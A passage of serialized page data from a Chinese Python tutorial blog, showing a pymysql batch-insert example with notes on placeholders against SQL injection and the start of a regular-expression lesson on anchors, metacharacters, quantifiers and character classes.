ration, seq_of_params)\n",[83935],{"type":18,"tag":74,"props":83936,"children":83937},{"__ignoreMap":8},[83938],{"type":18,"tag":297,"props":83939,"children":83940},{"class":299,"line":300},[83941],{"type":18,"tag":297,"props":83942,"children":83943},{},[83944],{"type":24,"value":83933},{"type":18,"tag":210,"props":83946,"children":83947},{},[83948,83959],{"type":18,"tag":158,"props":83949,"children":83950},{},[83951,83957],{"type":18,"tag":74,"props":83952,"children":83954},{"className":83953},[],[83955],{"type":24,"value":83956},"operation",{"type":24,"value":83958},"：操作的SQL语句。",{"type":18,"tag":158,"props":83960,"children":83961},{},[83962,83968],{"type":18,"tag":74,"props":83963,"children":83965},{"className":83964},[],[83966],{"type":24,"value":83967},"seq_of_params",{"type":24,"value":83969},"：参数序列。",{"type":18,"tag":34,"props":83971,"children":83972},{},[83973,83978],{"type":18,"tag":74,"props":83974,"children":83976},{"className":83975},[],[83977],{"type":24,"value":83921},{"type":24,"value":83979},"方法批量添加多条记录的具体代码如下：",{"type":18,"tag":287,"props":83981,"children":83983},{"code":83982,"language":28712,"meta":8,"className":28710,"style":8},"import pymysql\n\n# 打开数据库连接\ndb = pymysql.connect(  \n    host=\"localhost\",  \n    user=\"root\",  \n    password=\"123456\",  \n    db=\"info\" \n)\n\n# 使用cursor()方法获取操作游标\ncursor = db.cursor()\n\n# 数据列表\ndata = [(\"零基础学Python\",'Python','79.80','2018-5-20'),\n        (\"Python从入门到精通\",'Python','69.80','2018-6-18'),\n        (\"零基础学PHP\",'PHP','69.80','2017-5-21'),\n        (\"PHP项目开发实战入门\",'PHP','79.80','2016-5-21'),\n        (\"零基础学Java\",'Java','69.80','2017-5-21'),\n        ]\ntry:\n    # 执行sql语句，插入多条数据\n    cursor.executemany(\"insert into books(name, category, price, publish_time) values (%s,%s,%s,%s)\", data)\n    \n    # 提交数据\n    db.commit()\n\nexcept:\n\n    # 发生错误时回滚\n    db.rollback()\n\n# 关闭数据库连接\ndb.close()\n",[83984],{"type":18,"tag":74,"props":83985,"children":83986},{"__ignoreMap":8},[83987,83994,84001,84008,84015,84022,84029,84036,84043,84050,84057,84065,84072,84079,84087,84095,84103,84111,84119,84127,84135,84143,84151,84159,84167,84175,84183,84190,84198,84205,84213,84221,84228,84235],{"type":18,"tag":297,"props":83988,"children":83989},{"class":299,"line":300},[83990],{"type":18,"tag":297,"props":83991,"children":83992},{},[83993],{"type":24,"value":83295},{"type":18,"tag":297,"props":83995,"children":83996},{"class":299,"line":657},[83997],{"type":18,"tag":297,"props":83998,"children":83999},{"emptyLinePlaceholder":793},[84000],{"type":24,"value":796},{"type":18,"tag":297,"props":84002,"children":84003},{"class":299,"line":662},[84004],{"type":18,"tag":297,"props":84005,"children":84006},{},[84007],{"type":24,"value":83654},{"type":18,"tag":297,"props":84009,"children":84010},{"class":299,"line":799},[84011],{"type":18,"tag":297,"props":84012,"children":84013},{},[84014],{"type":24,"value":83318},{"type":18,"tag":297,"props":84016,"children":84017},{"class":299,"line":808},[84018],{"type":18,"tag":297,"props":84019,"children":84020},{},[84021],{"type":24,"value":83326},{"type":18,"tag":297,"props":84023,"children":84024},{"class":299,"line":817},[84025],{"type":18,"tag":297,"props":84026,"children":84027},{},[84028],{"type":24,"value":83334},{"type":18,"tag":297,"props":84030,"children":84031},{"class":299,"line":826},[84032],{"type":18,"tag":297,"props":84033,"children":84034},{},[84035],{"type":24,"value":83342},{"type":18,"tag":297,"props":84037,"children":84038},{"class":299,"line":4524},[84039],{"type":18,"tag":297,"props":84040,"children":84041},{},[84042],{"type":24,"value":83350},{"type":18,"tag":297,"props":84044,"children":84045},{"class":299,"line":4533},[84046],{"type":18,"tag":297,"props":84047,"children":84048},{},[84049],{"type":24,"value":4760},{"type":18,"tag":297,"props":84051,"children":84052},{"class":299,"line":4546},[84053],{"type":18,"tag":297,"props":84054,"children":84055},{"emptyLinePlaceholder":793},[84056],{"type":24,"value":796},{"type":18,"tag":297,"props":84058,"children":84059},{"class":299,"line":4555},[84060],{"type":18,"tag":297,"props":84061,"children":84062},{},[84063],{"type":24,"value":84064},"# 使用cursor()方法获取操作游标\n",{"type":18,"tag":297,"props":84066,"children":84067},{"class":299,"line":4568},[84068],{"type":18,"tag":297,"props":84069,"children":84070},{},[84071],{"type":24,"value":83380},{"type":18,"tag":297,"props":84073,"children":84074},{"class":299,"line":4577},[84075],{"type":18,"tag":297,"props":84076,"children":84077},{"emptyLinePlaceholder":793},[84078],{"type":24,"value":796},{"type":18,"tag":297,"props":84080,"children":84081},{"class":299,"line":4590},[84082],{"type":18,"tag":297,"props":84083,"children":84084},{},[84085],{"type":24,"value":84086},"# 数据列表\n",{"type":18,"tag":297,"props":84088,"children":84089},{"class":299,"line":4599},[84090],{"type":18,"tag":297,"props":84091,"children":84092},{},[84093],{"type":24,"value":84094},"data = [(\"零基础学Python\",'Python','79.80','2018-5-20'),\n",{"type":18,"tag":297,"props":84096,"children":84097},{"class":299,"line":4607},[84098],{"type":18,"tag":297,"props":84099,"children":84100},{},[84101],{"type":24,"value":84102},"        (\"Python从入门到精通\",'Python','69.80','2018-6-18'),\n",{"type":18,"tag":297,"props":84104,"children":84105},{"class":299,"line":4616},[84106],{"type":18,"tag":297,"props":84107,"children":84108},{},[84109],{"type":24,"value":84110},"        (\"零基础学PHP\",'PHP','69.80','2017-5-21'),\n",{"type":18,"tag":297,"props":84112,"children":84113},{"class":299,"line":4624},[84114],{"type":18,"tag":297,"props":84115,"children":84116},{},[84117],{"type":24,"value":84118},"        (\"PHP项目开发实战入门\",'PHP','79.80','2016-5-21'),\n",{"type":18,"tag":297,"props":84120,"children":84121},{"class":299,"line":4633},[84122],{"type":18,"tag":297,"props":84123,"children":84124},{},[84125],{"type":24,"value":84126},"        (\"零基础学Java\",'Java','69.80','2017-5-21'),\n",{"type":18,"tag":297,"props":84128,"children":84129},{"class":299,"line":4641},[84130],{"type":18,"tag":297,"props":84131,"children":84132},{},[84133],{"type":24,"value":84134},"        ]\n",{"type":18,"tag":297,"props":84136,"children":84137},{"class":299,"line":4650},[84138],{"type":18,"tag":297,"props":84139,"children":84140},{},[84141],{"type":24,"value":84142},"try:\n",{"type":18,"tag":297,"props":84144,"children":84145},{"class":299,"line":4658},[84146],{"type":18,"tag":297,"props":84147,"children":84148},{},[84149],{"type":24,"value":84150},"    # 执行sql语句，插入多条数据\n",{"type":18,"tag":297,"props":84152,"children":84153},{"class":299,"line":4681},[84154],{"type":18,"tag":297,"props":84155,"children":84156},{},[84157],{"type":24,"value":84158},"    cursor.executemany(\"insert into books(name, category, price, publish_time) values (%s,%s,%s,%s)\", data)\n",{"type":18,"tag":297,"props":84160,"children":84161},{"class":299,"line":4703},[84162],{"type":18,"tag":297,"props":84163,"children":84164},{},[84165],{"type":24,"value":84166},"    \n",{"type":18,"tag":297,"props":84168,"children":84169},{"class":299,"line":4711},[84170],{"type":18,"tag":297,"props":84171,"children":84172},{},[84173],{"type":24,"value":84174},"    # 提交数据\n",{"type":18,"tag":297,"props":84176,"children":84177},{"class":299,"line":4720},[84178],{"type":18,"tag":297,"props":84179,"children":84180},{},[84181],{"type":24,"value":84182},"    db.commit()\n",{"type":18,"tag":297,"props":84184,"children":84185},{"class":299,"line":4728},[84186],{"type":18,"tag":297,"props":84187,"children":84188},{"emptyLinePlaceholder":793},[84189],{"type":24,"value":796},{"type":18,"tag":297,"props":84191,"children":84192},{"class":299,"line":13515},[84193],{"type":18,"tag":297,"props":84194,"children":84195},{},[84196],{"type":24,"value":84197},"except:\n",{"type":18,"tag":297,"props":84199,"children":84200},{"class":299,"line":13553},[84201],{"type":18,"tag":297,"props":84202,"children":84203},{"emptyLinePlaceholder":793},[84204],{"type":24,"value":796},{"type":18,"tag":297,"props":84206,"children":84207},{"class":299,"line":13591},[84208],{"type":18,"tag":297,"props":84209,"children":84210},{},[84211],{"type":24,"value":84212},"    # 发生错误时回滚\n",{"type":18,"tag":297,"props":84214,"children":84215},{"class":299,"line":13624},[84216],{"type":18,"tag":297,"props":84217,"children":84218},{},[84219],{"type":24,"value":84220},"    db.rollback()\n",{"type":18,"tag":297,"props":84222,"children":84223},{"class":299,"line":13632},[84224],{"type":18,"tag":297,"props":84225,"children":84226},{"emptyLinePlaceholder":793},[84227],{"type":24,"value":796},{"type":18,"tag":297,"props":84229,"children":84230},{"class":299,"line":13641},[84231],{"type":18,"tag":297,"props":84232,"children":84233},{},[84234],{"type":24,"value":83449},{"type":18,"tag":297,"props":84236,"children":84237},{"class":299,"line":13724},[84238],{"type":18,"tag":297,"props":84239,"children":84240},{},[84241],{"type":24,"value":83457},{"type":18,"tag":34,"props":84243,"children":84244},{},[84245],{"type":24,"value":84246},"注意：",{"type":18,"tag":34,"props":84248,"children":84249},{},[84250,84252,84257,84259,84265,84267,84273,84275,84281],{"type":24,"value":84251},"（1）使用",{"type":18,"tag":74,"props":84253,"children":84255},{"className":84254},[],[84256],{"type":24,"value":81208},{"type":24,"value":84258},"方法连接数据库时，额外设置字符集",{"type":18,"tag":74,"props":84260,"children":84262},{"className":84261},[],[84263],{"type":24,"value":84264},"charset=utf-8",{"type":24,"value":84266},"，可以防止插入中文时出错。\n（2）在使用",{"type":18,"tag":74,"props":84268,"children":84270},{"className":84269},[],[84271],{"type":24,"value":84272},"insert",{"type":24,"value":84274},"语句插入数据时，使用",{"type":18,"tag":74,"props":84276,"children":84278},{"className":84277},[],[84279],{"type":24,"value":84280},"%s",{"type":24,"value":84282},"作为占位符，可以防止SQL注入。",{"type":18,"tag":34,"props":84284,"children":84285},{},[84286],{"type":24,"value":84287},"运行上述代码，在DataGirp中查看books表数据，如图所示。",{"type":18,"tag":34,"props":84289,"children":84290},{},[84291],{"type":18,"tag":54,"props":84292,"children":84295},{"alt":84293,"src":84294},"Pasted image 20250721133636","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721133636.png",[],{"type":18,"tag":651,"props":84297,"children":84298},{},[84299],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":84301},[84302,84306,84310],{"id":81158,"depth":657,"text":81158,"children":84303},[84304,84305],{"id":81181,"depth":662,"text":81181},{"id":81537,"depth":662,"text":81537},{"id":81764,"depth":657,"text":81767,"children":84307},[84308,84309],{"id":81775,"depth":662,"text":81775},{"id":81973,"depth":662,"text":81976},{"id":83194,"depth":657,"text":83197,"children":84311},[84312,84313,84314,84315],{"id":83200,"depth":662,"text":83203},{"id":83252,"depth":662,"text":83252},{"id":83502,"depth":662,"text":83502},{"id":83887,"depth":662,"text":83890},"content:blog:2025-07-12-python-Python操作数据库.md","blog\u002F2025-07-12-python-Python操作数据库.md","blog\u002F2025-07-12-python-Python操作数据库",{"_path":84320,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":84321,"description":84322,"date":84323,"tags":84324,"body":84325,"_type":672,"_id":86799,"_source":674,"_file":86800,"_stem":86801,"_extension":677},"\u002Fblog\u002F2025-07-11-python","Python-使用正则表达式","Python正则表达式：re模块、匹配模式、分组、替换与常用正则技巧。","2025-07-11",[28616,75509],{"type":15,"children":84326,"toc":86779},[84327,84330,84335,84377,84382,84402,84416,84452,84466,84471,84485,84490,84522,84536,84608,84616,84802,84807,84819,84833,84838,84846,85009,85014,85019,85070,85093,85098,85124,85138,85143,85148,85153,85166,85180,85185,85190,85203,85217,85243,85257,85265,85270,85307,85321,85326,85353,85359,85364,85378,85383,85397,85402,85416,85421,85435,85451,85456,85505,85515,85529,85534,85542,85566,85572,85582,85596,85600,85635,85727,85732,85800,85804,85812,85817,85878,85956,85960,85968,85974,85997,86011,86015,86046,86051,86117,86121,86129,86134,86140,86169,86183,86187,86217,86222,86290,86294,86302,86307,86353,86358,86366,86378,86432,86436,86459,86464,86481,86495,86499,86552,86557,86602,86606,86614,86619,86654,86668,86672,86713,86718,86763,86767,86775],{"type":18,"tag":121,"props":84328,"children":84329},{},[],{"type":18,"tag":19,"props":84331,"children":84333},{"id":84332},"正则表达式语法",[84334],{"type":24,"value":84332},{"type":18,"tag":34,"props":84336,"children":84337},{},[84338,84340,84345,84347,84352,84354,84360,84362,84367,84369,84375],{"type":24,"value":84339},"在处理字符串时，经常会有",{"type":18,"tag":105,"props":84341,"children":84342},{},[84343],{"type":24,"value":84344},"查找符合某些复杂规则的字符串",{"type":24,"value":84346},"的需求。",{"type":18,"tag":105,"props":84348,"children":84349},{},[84350],{"type":24,"value":84351},"正则表达式",{"type":24,"value":84353},"就是用于描述这些规则的工具。换句话说，正则表达式就是记录文本规则的代码。对于接触过DOS的用户来说，如果想匹配当前文件夹下所有的文本文件，可以输入",{"type":18,"tag":74,"props":84355,"children":84357},{"className":84356},[],[84358],{"type":24,"value":84359},"dir *.txt",{"type":24,"value":84361},"命令，按",{"type":18,"tag":74,"props":84363,"children":84365},{"className":84364},[],[84366],{"type":24,"value":7262},{"type":24,"value":84368},"键后，所有“.txt”文件将会被列出来。这里的",{"type":18,"tag":74,"props":84370,"children":84372},{"className":84371},[],[84373],{"type":24,"value":84374},"*.txt",{"type":24,"value":84376},"即可理解为一个简单的正则表达式。",{"type":18,"tag":27,"props":84378,"children":84380},{"id":84379},"行定位符",[84381],{"type":24,"value":84379},{"type":18,"tag":34,"props":84383,"children":84384},{},[84385,84387,84393,84395,84400],{"type":24,"value":84386},"行定位符就是用来描述字符串的边界，",{"type":18,"tag":74,"props":84388,"children":84390},{"className":84389},[],[84391],{"type":24,"value":84392},"^",{"type":24,"value":84394},"表示行的开始，",{"type":18,"tag":74,"props":84396,"children":84398},{"className":84397},[],[84399],{"type":24,"value":25558},{"type":24,"value":84401},"表示行的结尾。如：",{"type":18,"tag":287,"props":84403,"children":84405},{"code":84404,"language":28712,"meta":8,"className":28710,"style":8},"^tm\n",[84406],{"type":18,"tag":74,"props":84407,"children":84408},{"__ignoreMap":8},[84409],{"type":18,"tag":297,"props":84410,"children":84411},{"class":299,"line":300},[84412],{"type":18,"tag":297,"props":84413,"children":84414},{},[84415],{"type":24,"value":84404},{"type":18,"tag":34,"props":84417,"children":84418},{},[84419,84421,84427,84429,84435,84437,84442,84444,84450],{"type":24,"value":84420},"该表达式表示要匹配字符串",{"type":18,"tag":74,"props":84422,"children":84424},{"className":84423},[],[84425],{"type":24,"value":84426},"tm",{"type":24,"value":84428},"的开始位置是行头，如",{"type":18,"tag":74,"props":84430,"children":84432},{"className":84431},[],[84433],{"type":24,"value":84434},"tm equal Tomorrow Moon",{"type":24,"value":84436},"可以匹配到",{"type":18,"tag":74,"props":84438,"children":84440},{"className":84439},[],[84441],{"type":24,"value":84426},{"type":24,"value":84443},"，而 ",{"type":18,"tag":74,"props":84445,"children":84447},{"className":84446},[],[84448],{"type":24,"value":84449},"Tomorrow Moon equal tm",{"type":24,"value":84451},"则不匹配。但如果使用：",{"type":18,"tag":287,"props":84453,"children":84455},{"code":84454,"language":28712,"meta":8,"className":28710,"style":8},"tm$\n",[84456],{"type":18,"tag":74,"props":84457,"children":84458},{"__ignoreMap":8},[84459],{"type":18,"tag":297,"props":84460,"children":84461},{"class":299,"line":300},[84462],{"type":18,"tag":297,"props":84463,"children":84464},{},[84465],{"type":24,"value":84454},{"type":18,"tag":34,"props":84467,"children":84468},{},[84469],{"type":24,"value":84470},"后者可以匹配而前者不能匹配。如果要匹配的字符串可以出现在字符串的任意部分，那么可以直接写成下面的格式，这样两个字符串就都可以匹配了。",{"type":18,"tag":287,"props":84472,"children":84474},{"code":84473,"language":28712,"meta":8,"className":28710,"style":8},"tm\n",[84475],{"type":18,"tag":74,"props":84476,"children":84477},{"__ignoreMap":8},[84478],{"type":18,"tag":297,"props":84479,"children":84480},{"class":299,"line":300},[84481],{"type":18,"tag":297,"props":84482,"children":84483},{},[84484],{"type":24,"value":84473},{"type":18,"tag":27,"props":84486,"children":84488},{"id":84487},"元字符",[84489],{"type":24,"value":84487},{"type":18,"tag":34,"props":84491,"children":84492},{},[84493,84495,84500,84501,84506,84508,84514,84515,84521],{"type":24,"value":84494},"除了前面介绍的元字符",{"type":18,"tag":74,"props":84496,"children":84498},{"className":84497},[],[84499],{"type":24,"value":84392},{"type":24,"value":10315},{"type":18,"tag":74,"props":84502,"children":84504},{"className":84503},[],[84505],{"type":24,"value":25558},{"type":24,"value":84507},"外，正则表达式里还有更多的元字符，例如下面的正则表达式中就应用了元字符",{"type":18,"tag":74,"props":84509,"children":84511},{"className":84510},[],[84512],{"type":24,"value":84513},"\\b",{"type":24,"value":10315},{"type":18,"tag":74,"props":84516,"children":84518},{"className":84517},[],[84519],{"type":24,"value":84520},"\\w",{"type":24,"value":111},{"type":18,"tag":287,"props":84523,"children":84525},{"code":84524,"language":28712,"meta":8,"className":28710,"style":8},"\\bmr\\w*\\b # 单词边界 + mr + 任意字符 + 单词边界\n",[84526],{"type":18,"tag":74,"props":84527,"children":84528},{"__ignoreMap":8},[84529],{"type":18,"tag":297,"props":84530,"children":84531},{"class":299,"line":300},[84532],{"type":18,"tag":297,"props":84533,"children":84534},{},[84535],{"type":24,"value":84524},{"type":18,"tag":34,"props":84537,"children":84538},{},[84539,84541,84547,84549,84554,84556,84561,84563,84569,84571,84576,84578,84584,84585,84591,84592,84598,84600,84606],{"type":24,"value":84540},"上面的正则表达式用于匹配以字母",{"type":18,"tag":74,"props":84542,"children":84544},{"className":84543},[],[84545],{"type":24,"value":84546},"mr",{"type":24,"value":84548},"开头的单词，先从某个单词开始处",{"type":18,"tag":74,"props":84550,"children":84552},{"className":84551},[],[84553],{"type":24,"value":84513},{"type":24,"value":84555},"，然后匹配字母",{"type":18,"tag":74,"props":84557,"children":84559},{"className":84558},[],[84560],{"type":24,"value":84546},{"type":24,"value":84562},"，接着是任意数量的字母或数字 ",{"type":18,"tag":74,"props":84564,"children":84566},{"className":84565},[],[84567],{"type":24,"value":84568},"\\w*",{"type":24,"value":84570},"，最后单词结束处",{"type":18,"tag":74,"props":84572,"children":84574},{"className":84573},[],[84575],{"type":24,"value":84513},{"type":24,"value":84577},"。该表达式可以匹配",{"type":18,"tag":74,"props":84579,"children":84581},{"className":84580},[],[84582],{"type":24,"value":84583},"mrsoft",{"type":24,"value":1942},{"type":18,"tag":74,"props":84586,"children":84588},{"className":84587},[],[84589],{"type":24,"value":84590},"\\nmr",{"type":24,"value":10315},{"type":18,"tag":74,"props":84593,"children":84595},{"className":84594},[],[84596],{"type":24,"value":84597},"mr123456",{"type":24,"value":84599},"等，但不能与",{"type":18,"tag":74,"props":84601,"children":84603},{"className":84602},[],[84604],{"type":24,"value":84605},"amr",{"type":24,"value":84607},"匹配。更多常用元字符如表所示。",{"type":18,"tag":34,"props":84609,"children":84610},{},[84611],{"type":18,"tag":105,"props":84612,"children":84613},{},[84614],{"type":24,"value":84615},"常用元字符表",{"type":18,"tag":431,"props":84617,"children":84618},{},[84619,84648],{"type":18,"tag":435,"props":84620,"children":84621},{},[84622],{"type":18,"tag":439,"props":84623,"children":84624},{},[84625,84633,84640],{"type":18,"tag":443,"props":84626,"children":84627},{"align":3465},[84628],{"type":18,"tag":105,"props":84629,"children":84630},{},[84631],{"type":24,"value":84632},"代    码",{"type":18,"tag":443,"props":84634,"children":84635},{"align":3465},[84636],{"type":18,"tag":105,"props":84637,"children":84638},{},[84639],{"type":24,"value":41526},{"type":18,"tag":443,"props":84641,"children":84642},{"align":3465},[84643],{"type":18,"tag":105,"props":84644,"children":84645},{},[84646],{"type":24,"value":84647},"举    例",{"type":18,"tag":459,"props":84649,"children":84650},{},[84651,84672,84693,84715,84737,84759,84780],{"type":18,"tag":439,"props":84652,"children":84653},{},[84654,84662,84667],{"type":18,"tag":466,"props":84655,"children":84656},{"align":3465},[84657],{"type":18,"tag":74,"props":84658,"children":84660},{"className":84659},[],[84661],{"type":24,"value":1147},{"type":18,"tag":466,"props":84663,"children":84664},{"align":3465},[84665],{"type":24,"value":84666},"匹配除换行符以外的任意字符",{"type":18,"tag":466,"props":84668,"children":84669},{"align":3465},[84670],{"type":24,"value":84671},".可以匹配“mr\\nM\\tR”中的m、r、M、\\t、R",{"type":18,"tag":439,"props":84673,"children":84674},{},[84675,84683,84688],{"type":18,"tag":466,"props":84676,"children":84677},{"align":3465},[84678],{"type":18,"tag":74,"props":84679,"children":84681},{"className":84680},[],[84682],{"type":24,"value":84520},{"type":18,"tag":466,"props":84684,"children":84685},{"align":3465},[84686],{"type":24,"value":84687},"匹配字母、数字、下划线或汉字",{"type":18,"tag":466,"props":84689,"children":84690},{"align":3465},[84691],{"type":24,"value":84692},"\\w可以匹配“m中7r\\n”中的“m、中、7、r”，但不能匹配\\n",{"type":18,"tag":439,"props":84694,"children":84695},{},[84696,84705,84710],{"type":18,"tag":466,"props":84697,"children":84698},{"align":3465},[84699],{"type":18,"tag":74,"props":84700,"children":84702},{"className":84701},[],[84703],{"type":24,"value":84704},"\\W",{"type":18,"tag":466,"props":84706,"children":84707},{"align":3465},[84708],{"type":24,"value":84709},"匹配除字母、数字、下划线或汉字以外的字符",{"type":18,"tag":466,"props":84711,"children":84712},{"align":3465},[84713],{"type":24,"value":84714},"\\W可以匹配“m中7r\\n”中的\\n，但不能匹配“m、中、7、r”",{"type":18,"tag":439,"props":84716,"children":84717},{},[84718,84727,84732],{"type":18,"tag":466,"props":84719,"children":84720},{"align":3465},[84721],{"type":18,"tag":74,"props":84722,"children":84724},{"className":84723},[],[84725],{"type":24,"value":84726},"\\s",{"type":18,"tag":466,"props":84728,"children":84729},{"align":3465},[84730],{"type":24,"value":84731},"匹配单个的空白符（包括Tab键和换行符）",{"type":18,"tag":466,"props":84733,"children":84734},{"align":3465},[84735],{"type":24,"value":84736},"\\s可以匹配“mr\\tMR”中的\\t",{"type":18,"tag":439,"props":84738,"children":84739},{},[84740,84749,84754],{"type":18,"tag":466,"props":84741,"children":84742},{"align":3465},[84743],{"type":18,"tag":74,"props":84744,"children":84746},{"className":84745},[],[84747],{"type":24,"value":84748},"\\S",{"type":18,"tag":466,"props":84750,"children":84751},{"align":3465},[84752],{"type":24,"value":84753},"除单个空白符（包括Tab键和换行符）以外的所有字符",{"type":18,"tag":466,"props":84755,"children":84756},{"align":3465},[84757],{"type":24,"value":84758},"\\S或以匹配“mr\\tMR”中的m、r、M、R",{"type":18,"tag":439,"props":84760,"children":84761},{},[84762,84770,84775],{"type":18,"tag":466,"props":84763,"children":84764},{"align":3465},[84765],{"type":18,"tag":74,"props":84766,"children":84768},{"className":84767},[],[84769],{"type":24,"value":84513},{"type":18,"tag":466,"props":84771,"children":84772},{"align":3465},[84773],{"type":24,"value":84774},"匹配单词的开始或结束，单词的分界符通常是空格，标点符号或者换行",{"type":18,"tag":466,"props":84776,"children":84777},{"align":3465},[84778],{"type":24,"value":84779},"在“I like mr or am”字符串中，\\bm与mr中的m相匹配，但与am中的m不匹配",{"type":18,"tag":439,"props":84781,"children":84782},{},[84783,84792,84797],{"type":18,"tag":466,"props":84784,"children":84785},{"align":3465},[84786],{"type":18,"tag":74,"props":84787,"children":84789},{"className":84788},[],[84790],{"type":24,"value":84791},"\\d",{"type":18,"tag":466,"props":84793,"children":84794},{"align":3465},[84795],{"type":24,"value":84796},"匹配数字",{"type":18,"tag":466,"props":84798,"children":84799},{"align":3465},[84800],{"type":24,"value":84801},"\\d可以与“m7ri”中的字符7匹配",{"type":18,"tag":27,"props":84803,"children":84805},{"id":84804},"限定符",[84806],{"type":24,"value":84804},{"type":18,"tag":34,"props":84808,"children":84809},{},[84810,84812,84817],{"type":24,"value":84811},"在上面例子中，使用",{"type":18,"tag":74,"props":84813,"children":84815},{"className":84814},[],[84816],{"type":24,"value":84568},{"type":24,"value":84818},"匹配任意数量的字母或数字。如果想匹配特定数量的数字，该如何表示呢？正则表达式为我们提供了限定符（指定数量的字符）来实现该功能。如匹配8位QQ号可用如下表达式：",{"type":18,"tag":287,"props":84820,"children":84822},{"code":84821,"language":28712,"meta":8,"className":28710,"style":8},"^\\d{8}$\n",[84823],{"type":18,"tag":74,"props":84824,"children":84825},{"__ignoreMap":8},[84826],{"type":18,"tag":297,"props":84827,"children":84828},{"class":299,"line":300},[84829],{"type":18,"tag":297,"props":84830,"children":84831},{},[84832],{"type":24,"value":84821},{"type":18,"tag":34,"props":84834,"children":84835},{},[84836],{"type":24,"value":84837},"常用的限定符如表所示。",{"type":18,"tag":34,"props":84839,"children":84840},{},[84841],{"type":18,"tag":105,"props":84842,"children":84843},{},[84844],{"type":24,"value":84845},"常用限定符表",{"type":18,"tag":431,"props":84847,"children":84848},{},[84849,84877],{"type":18,"tag":435,"props":84850,"children":84851},{},[84852],{"type":18,"tag":439,"props":84853,"children":84854},{},[84855,84863,84870],{"type":18,"tag":443,"props":84856,"children":84857},{"align":3465},[84858],{"type":18,"tag":105,"props":84859,"children":84860},{},[84861],{"type":24,"value":84862},"限  定  符",{"type":18,"tag":443,"props":84864,"children":84865},{"align":3465},[84866],{"type":18,"tag":105,"props":84867,"children":84868},{},[84869],{"type":24,"value":41526},{"type":18,"tag":443,"props":84871,"children":84872},{"align":3465},[84873],{"type":18,"tag":105,"props":84874,"children":84875},{},[84876],{"type":24,"value":84647},{"type":18,"tag":459,"props":84878,"children":84879},{},[84880,84901,84922,84943,84965,84987],{"type":18,"tag":439,"props":84881,"children":84882},{},[84883,84891,84896],{"type":18,"tag":466,"props":84884,"children":84885},{"align":3465},[84886],{"type":18,"tag":74,"props":84887,"children":84889},{"className":84888},[],[84890],{"type":24,"value":7559},{"type":18,"tag":466,"props":84892,"children":84893},{"align":3465},[84894],{"type":24,"value":84895},"匹配前面的字符零次或一次",{"type":18,"tag":466,"props":84897,"children":84898},{"align":3465},[84899],{"type":24,"value":84900},"colou?r，该表达式可以匹配colour和color",{"type":18,"tag":439,"props":84902,"children":84903},{},[84904,84912,84917],{"type":18,"tag":466,"props":84905,"children":84906},{"align":3465},[84907],{"type":18,"tag":74,"props":84908,"children":84910},{"className":84909},[],[84911],{"type":24,"value":17126},{"type":18,"tag":466,"props":84913,"children":84914},{"align":3465},[84915],{"type":24,"value":84916},"匹配前面的字符一次或多次",{"type":18,"tag":466,"props":84918,"children":84919},{"align":3465},[84920],{"type":24,"value":84921},"go+gle，该表达式可以匹配的范围从gogle到goo…gle",{"type":18,"tag":439,"props":84923,"children":84924},{},[84925,84933,84938],{"type":18,"tag":466,"props":84926,"children":84927},{"align":3465},[84928],{"type":18,"tag":74,"props":84929,"children":84931},{"className":84930},[],[84932],{"type":24,"value":31597},{"type":18,"tag":466,"props":84934,"children":84935},{"align":3465},[84936],{"type":24,"value":84937},"匹配前面的字符零次或多次",{"type":18,"tag":466,"props":84939,"children":84940},{"align":3465},[84941],{"type":24,"value":84942},"go*gle，该表达式可以匹配的范围从ggle到goo…gle",{"type":18,"tag":439,"props":84944,"children":84945},{},[84946,84955,84960],{"type":18,"tag":466,"props":84947,"children":84948},{"align":3465},[84949],{"type":18,"tag":74,"props":84950,"children":84952},{"className":84951},[],[84953],{"type":24,"value":84954},"{n}",{"type":18,"tag":466,"props":84956,"children":84957},{"align":3465},[84958],{"type":24,"value":84959},"匹配前面的字符n次",{"type":18,"tag":466,"props":84961,"children":84962},{"align":3465},[84963],{"type":24,"value":84964},"go{2}gle，该表达式只匹配google",{"type":18,"tag":439,"props":84966,"children":84967},{},[84968,84977,84982],{"type":18,"tag":466,"props":84969,"children":84970},{"align":3465},[84971],{"type":18,"tag":74,"props":84972,"children":84974},{"className":84973},[],[84975],{"type":24,"value":84976},"{n,}",{"type":18,"tag":466,"props":84978,"children":84979},{"align":3465},[84980],{"type":24,"value":84981},"匹配前面的字符最少n次",{"type":18,"tag":466,"props":84983,"children":84984},{"align":3465},[84985],{"type":24,"value":84986},"go{2,}gle，该表达式可以匹配的范围从google到goo…gle",{"type":18,"tag":439,"props":84988,"children":84989},{},[84990,84999,85004],{"type":18,"tag":466,"props":84991,"children":84992},{"align":3465},[84993],{"type":18,"tag":74,"props":84994,"children":84996},{"className":84995},[],[84997],{"type":24,"value":84998},"{n,m}",{"type":18,"tag":466,"props":85000,"children":85001},{"align":3465},[85002],{"type":24,"value":85003},"匹配前面的字符最少n次，最多m次",{"type":18,"tag":466,"props":85005,"children":85006},{"align":3465},[85007],{"type":24,"value":85008},"employe{0,2}，该表达式可以匹配employ、employe和employee 3种情况",{"type":18,"tag":27,"props":85010,"children":85012},{"id":85011},"字符类",[85013],{"type":24,"value":85011},{"type":18,"tag":34,"props":85015,"children":85016},{},[85017],{"type":24,"value":85018},"正则表达式查找数字和字母是很简单的，因为已经有了对应这些字符集合的元字符（如“\\d”“\\w”），但是如果要匹配没有预定义元字符的字符集合(比如元音字母 a, e, i, o, u )，应该怎么办？",{"type":18,"tag":34,"props":85020,"children":85021},{},[85022,85024,85029,85031,85037,85039,85045,85047,85053,85055,85061,85063,85068],{"type":24,"value":85023},"很简单，只需要",{"type":18,"tag":105,"props":85025,"children":85026},{},[85027],{"type":24,"value":85028},"在方括号里列出它们",{"type":24,"value":85030},"就行了，像",{"type":18,"tag":74,"props":85032,"children":85034},{"className":85033},[],[85035],{"type":24,"value":85036},"[aeiou]",{"type":24,"value":85038},"可以匹配任何一个英文元音字母，",{"type":18,"tag":74,"props":85040,"children":85042},{"className":85041},[],[85043],{"type":24,"value":85044},"[.?!]",{"type":24,"value":85046}," 